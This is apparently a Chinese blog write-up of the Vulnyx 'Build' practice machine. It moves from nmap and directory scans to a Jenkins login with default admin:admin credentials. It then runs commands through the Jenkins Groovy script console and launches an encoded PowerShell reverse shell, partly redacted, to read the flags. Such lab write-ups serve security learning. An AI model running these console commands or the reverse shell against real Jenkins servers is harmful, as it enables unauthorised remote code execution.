<h1>Build</h1>
<blockquote>
<a href="https://vulnyx.com/">https://vulnyx.com/</a> | Difficulty: Low
</blockquote>
<h2>前期踩点</h2>
<pre><code class="hljs language-bash">➜ Build nmap -sn 192.168.56.0/24 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-01 00:02 CST
Nmap scan report for 192.168.56.1
Host is up (0.00032s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00024s latency).
MAC Address: 08:00:27:0D:C5:29 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.67
Host is up (0.00049s latency).
MAC Address: 08:00:27:7B:00:99 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
</code></pre>
<pre><code class="hljs language-bash">➜ Build nmap -sT -min-rate 10000 192.168.56.67
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-01 00:02 CST
Nmap scan report for 192.168.56.67
Host is up (0.00058s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8080/tcp open http-proxy
MAC Address: 08:00:27:7B:00:99 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.47 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Build nmap -sT -A -p 80,135,139,445,8080 192.168.56.67
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-01 00:04 CST
Nmap scan report for 192.168.56.67
Host is up (0.00075s latency).

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
8080/tcp open http Jetty 12.0.19
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
|_http-server-header: Jetty(12.0.19)
MAC Address: 08:00:27:7B:00:99 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 10
OS CPE: cpe:/o:microsoft:windows_10
OS details: Microsoft Windows 10 1709 - 21H2
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2025-06-01T07:05:17
|_ start_date: N/A
|_clock-skew: 14h59m57s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: BUILD, NetBIOS user: &#x3C;unknown>, NetBIOS MAC: 08:00:27:7b:00:99 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

TRACEROUTE
HOP RTT ADDRESS
1 0.75 ms 192.168.56.67
</code></pre>
<h2>SMB</h2>
这里扫描出来了<code>SMB</code>的端口，首先测试一下是否允许匿名用户登录
<pre><code class="hljs language-bash">➜ Build smbclient -L 192.168.56.67 -U anonymous 
Password for [WORKGROUP\anonymous]:
session setup failed: NT_STATUS_LOGON_FAILURE
</code></pre>
<h2>Web</h2>
不允许使用匿名账户，我们则从 <code>80</code> 端口开始
<code>IIS</code> 默认页面
<img src="/post-images/VulnyxBuild/image.png" alt="image.png">
目录扫描一波，没扫描出来什么东西
<pre><code class="hljs language-bash">➜ Build feroxbuster --url http://192.168.56.67/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --filter-status 404,403 -x php,zip,txt

 ___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯 Target Url │ http://192.168.56.67/
 🚀 Threads │ 50
 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 💢 Status Code Filters │ [404, 403]
 💥 Timeout (secs) │ 7
 🦡 User-Agent │ feroxbuster/2.11.0
 💉 Config File │ /etc/feroxbuster/ferox-config.toml
 🔎 Extract Links │ true
 💲 Extensions │ [php, zip, txt]
 🏁 HTTP methods │ [GET]
 🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
 🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 359l 2112w 178556c http://192.168.56.67/iisstart.png
200 GET 32l 54w 696c http://192.168.56.67/
</code></pre>
再来到 <code>8080</code> 端口，已经通过<code>nmap</code>扫描出来是<code>Jetty</code> （基于<code>JAVA</code>的网页服务器） ，并且上边搭建的着的是 <code>Jenkins</code>
<img src="/post-images/VulnyxBuild/image1.png" alt="image.png">
输入 <code>admin:admin</code> 直接就进入后台了…
<img src="/post-images/VulnyxBuild/image2.png" alt="image.png">
我们来到图片的位置，并输入
<img src="/post-images/VulnyxBuild/image3.png" alt="image.png">
<pre><code class="hljs language-bash">println "whoami".execute().text
</code></pre>
点击<code>RUN</code>运行后，直接就是 <code>SYSTEM</code>权限了？？？
<img src="/post-images/VulnyxBuild/image4.png" alt="image.png">
进行反弹 <code>shell</code> ，直接使用 <a href="https://www.ddosi.org/shell/">https://www.ddosi.org/shell/</a> 来生成反弹<code>shell</code>代码即可
<pre><code class="hljs language-bash">println "cmd /c powershell -e JABjAGwAaQBlxxxxxxxxHMAZQAoACkA".execute().text
</code></pre>
<img src="/post-images/VulnyxBuild/image5.png" alt="image.png">
读取<code>Flag</code>
<pre><code class="hljs language-bash">PS C:\users\builder\Desktop> type user.txt
17a6390c294493b8fc423154791cdd0b

PS C:\users\administrator\Desktop> type root.txt
927c9a24e72f5d76ffd8bc9c2477d10f 
</code></pre>

Vulnyx - Build

HackTheBox - Machine - Cap

Personal - sunset